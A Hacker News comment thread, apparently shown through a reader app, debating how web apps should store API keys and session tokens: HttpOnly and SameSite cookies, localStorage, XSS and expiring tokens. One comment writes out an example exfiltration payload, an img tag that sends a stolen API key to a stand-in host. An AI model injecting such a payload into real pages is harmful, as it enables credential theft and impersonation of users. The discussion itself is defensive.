Hacker News Reader

Comment by outsidein | Hacker News Reader

What is missing is a guide how to replace the bad pattern bey a good one. Add a function that the user can login, create his individual API key, and store in a a secure way on his client (e.g. any credential store)

View on HN

Agreed. This is a good article, written well for the intended audience—which I would qualify as occupying that ambiguous space between junior and senior developer knowledge. Perhaps the author hasn’t really arrived at the “right” answer for themselves. You hit the nail on the head, the solution is to login (authenticate).

Maybe the author is being careful not to offer an abstract use case as that might ironically be misinterpreted and be counterproductive? I feel security blogging is just one of those subjects where it’s more useful and prudent to express what shouldn’t be done then should. Maybe it’s okay it doesn’t include the solution, that’s left up to the reader to infer.

httpOnly secure same-site cookie.

Even storing a session token in localStorage is not a problem if you‘re protected against xss (if your not, nothing else will protect you anyway)

That last argument you're making there is not valid in my opinion. Security is built by layers and the reason we use HttpOnly cookies is to still have protection even if malicious javascript steals a cookie.

How does it protect the user? If there is a XSS vulnerability I can do anything in your name anyways. Stealing the cookie is not necessary.

You can do anything until I close a page. Stealing cookie might allow you to continue after that.

I will have done anything I want to within one second of you logging in. There is no need for later attacks

But the window of opportunity is dramatically reduced if you can only launch your attack while the user is actively using the victim's site.

It's the same reason OAuth uses expiring tokens. If you think that doesn't help and you're surely smarter than the whole security community who has been developing these standards for decades, please write a specification yourself and let us review it to see how great that is.

Let's say you compromise my social media account. You can immediately post as me, but that isn't so useful. You would probably prefer to have ongoing access to my account, so you can post as me at some future point when you have something you want to promote.

But you wrote “same-site” :) It will protect against XSS.

No XSS is another class of vulnerabilities

Yes, sorry. Always forgetting the difference :)

In the browser, yes. But when you steal an API key I can send it to an external server (<img src=https://eve.com/pixel.jpg?apikey=...">)and exploit and impersonate the user without anyone knowing about it and without collaboration of the web browser.

The first line is correct.

The second has no value because you are either using techniques that are not vulnerable by XSS or not. “same-site” cookie is one of them.

Care to expand? I don‘t see the point

That Strict same-site cookie won’t be sent if you use any third party payment systems (like stripe checkout). It’s basically useless because if they cancel or complete the payment, the browser won’t send the cookie and forces the user to login again.

probably worth mentioning is Chrome last year started assuming a default SameSite cookie of "Lax", rather than the previous default of "None".

Let's just say, certain people were caught with their pants down on that one. Notably, Amazon. If you go to watch the bonus content for The Expanse on Prime Video, you will notice that it does not work in Chrome but works fine in Firefox (as of a few weeks ago, at least).

If your site depends on SameSite None, you need to explicitly set it now.

Reply on news.ycombinator.com